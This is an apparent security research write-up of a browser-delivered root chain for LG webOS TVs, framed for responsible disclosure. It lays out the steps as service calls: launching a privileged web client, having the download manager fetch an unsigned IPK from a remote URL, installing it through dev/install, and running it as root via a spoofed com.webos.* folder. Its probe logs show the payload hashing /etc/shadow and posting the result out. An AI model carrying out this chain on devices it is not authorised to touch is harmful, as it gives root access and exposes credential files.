Reach a private WAM client
Content is opened in a web app that holds the LS2 private group — the hidden tinybrowser, or an ad/creative via admanager.
ssap://system.launcher/launch
{ "id": "…tinybrowser" }
A browser-delivered root chain for LG webOS TVs. A privileged WAM client installs an unsigned package through dev/install; the service lands in a com.webos.* directory, so run-js-service starts it with palm_jail=off — uid 0, no Developer Mode, no signing key.
$ POST /rootproof { "uid": 0, "gid": 0, "euid": 0, "id": "uid=0(root) gid=0(root)", "cmdline": "com.webosresearch.rootjs.service", "shadow_sha256": "412aa2b8…73ee0f8b" } // sha256(/etc/shadow) on the TV: identical // install: verified=false → uid 0
The installer validates the service id. The jailer reads the directory name.
The two checks never meet. A package may declare a harmless vendor id while its folder wears a trusted com.webos.* name. The result is a JavaScript service that the system starts as root — the directory is the credential.
Content is opened in a web app that holds the LS2 private group — the hidden tinybrowser, or an ad/creative via admanager.
ssap://system.launcher/launch
{ "id": "…tinybrowser" }
The page asks the TV's own download manager for the IPK. It lands in /media/internal/downloads.
downloadmanager/download
{ target: "http://…/jailbro.ipk" }
dev/install is in the compat private group. No signature check, no Dev Mode token, no prompt.
dev/install
→ verified: false, state: installed
The service directory selects the com.webos.* branch. Its startup code reads /etc/shadow and beacons uid 0.
run-js-service -n …/com.webos.evil.service
→ uid=0 gid=0
[probe] download_result "completed": true "target": "/media/internal/downloads/jailbro-browser.ipk" [probe] install_result "state": "installed" "verified": false "permissionLevel": "none" "packageId": "com.webosresearch.rootjs" "client": "com.webos.app.tinybrowser" [POST /rootproof] "uid": 0, "euid": 0 "shadow_sha256": "412aa2b87cba88db29c4117a767ffc7f13adcb3224e65d4e989fe00073ee0f8b" # sha256(/etc/shadow) on the TV: same 64 bytes
install reports verified: false and still reaches installed.
Re-run with devmode_enabled renamed away — same install, same root service.
Opened over the paired SSAP API, not SSH or root luna.
The service hashed /etc/shadow itself; the hash matches the TV's file.
The research started with the public PS4/PS5 chains: CVE-2018-4386 (“bad-hoist”), CVE-2018-4441, the Synacktiv WebCore 0-day, and the PS5 IPv6 kernel bug. Every one is a WebKit / JavaScriptCore exploit paired with Sony's FreeBSD kernel.
The TV is Chromium 120 / V8 12.0. JSC structures, TypedArray layouts and gigacage assumptions do not exist there, so the console exploits are not portable — the useful lesson was methodological: find the privileged client reachable from web content, then abuse its native interface.
That pivot is what produced the chain above: no memory corruption required, because the TV's renderers already run with --no-sandbox.
| Platform | Engine | Chain |
|---|---|---|
| PS4 ≤ 6.72 | WebKit / JSC | JSC RCE → kernel (ip6_setpktopt) |
| PS4 9.00 | WebKit / JSC | FontFace bug → exFAT kernel |
| PS5 3.00–4.51 | WebKit / JSC | WebKit → IPv6 kernel (XOM/CFI) |
| webOS TV | Chromium 120 / V8 | dev/install → run-js-service → uid 0 |
JailBro is tested only on hardware we own. The rootfs is squashfs and is never written; persistence lives in /media/developer, /var and /home. Nothing here flashes firmware or touches the bootloader.
The findings are being prepared for responsible disclosure to the vendor. No exploit package, client key or device credential is published on this page. The write-up exists to document the bug class — a directory name treated as a security boundary — and to argue for a single source of truth between the installer and the jailer.
Do not point this at a device you do not own. Rooting a TV voids warranties and can break DRM playback.